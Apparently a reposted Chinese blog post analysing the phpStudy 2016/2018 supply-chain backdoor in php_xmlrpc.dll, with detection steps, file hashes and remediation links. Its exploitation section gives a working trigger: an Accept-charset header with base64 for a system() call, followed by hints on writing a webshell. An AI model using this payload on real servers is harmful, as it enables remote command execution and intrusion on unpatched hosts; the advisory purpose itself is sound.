zoukankan      html  css  js  c++  java
  • Phpstudy隐藏后门

    Phpstudy隐藏后门

     

    1.事件背景

    Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成ApachePHPMySQLphpMyAdminZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户

    920日杭州公安微信公众账号发布了杭州警方通报打击涉网违法犯罪暨净网2019”专项行动战果的文章,文章里说明phpstudy存在后门

    2.影响版本

    软件作者声明phpstudy 2016PHP5.4存在后门。

    实际测试官网下载phpstudy2018php-5.2.17php-5.4.45也同样存在后门

    3.后门检测方法

    通过分析,后门代码存在于extphp_xmlrpc.dll模块中
    phpStudy2016phpStudy2018自带的php-5.2.17php-5.4.45
    phpStudy2016
    路径
    phpphp-5.2.17extphp_xmlrpc.dll
    phpphp-5.4.45extphp_xmlrpc.dll
    phpStudy2018
    路径
    PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll
    PHPTutorialphpphp-5.4.45extphp_xmlrpc.dl

    用记事本打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在

     

    附后门文件MD5值:

    MD5: 0F7AD38E7A9857523DFBCE4BCE43A9E9
    MD5: C339482FD2B233FB0A555B629C0EA5D5

     

    4. 后门利用手法

     将含有后门的phpstudy 运行起来 然后访问网站

     

     

    访问目标站点

     

    抓取访问包 修改请求包内容 直接触发远程命令执行

     

    Accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7

    Accept-Encoding: gzip,deflate

     

    ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 base64加密的 解密后  echo system("net user");

     

    添加 远程命令 触发后门

    5 得到路径  并写入shell文件 

     

    Ps !! 在这里要首先了解下 web写入后门木马的误区

             用^转移 >< 不然<>会自动转换为别的格式

    连接 webshell

    6 修复方案

    1、可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll

    https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip
    https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip

    2、目前phpstudy官网上的版本不存在后门,可在phpsudy官网下载安装包进行更新

     

  • 相关阅读:
    Javascript中的this之我见
    Javascript中call、apply之我见
    IE 11中 onpropertychange失效
    解决在.NET 4.0下无法发送包含尖括号等请求的问题
    连续赋值与求值顺序var a = {n:1};a.x = a = {n:2}; alert(a.x);
    DBCC维护语句语法
    SqlServer数据库碎片整理——BCC SHOWCONTIG
    Change Jenkins time zone
    Jenkins中执行docker命令报错
    Redis 慢查询
  • 原文地址:https://www.cnblogs.com/Sylon/p/11747445.html
Copyright © 2011-2022 走看看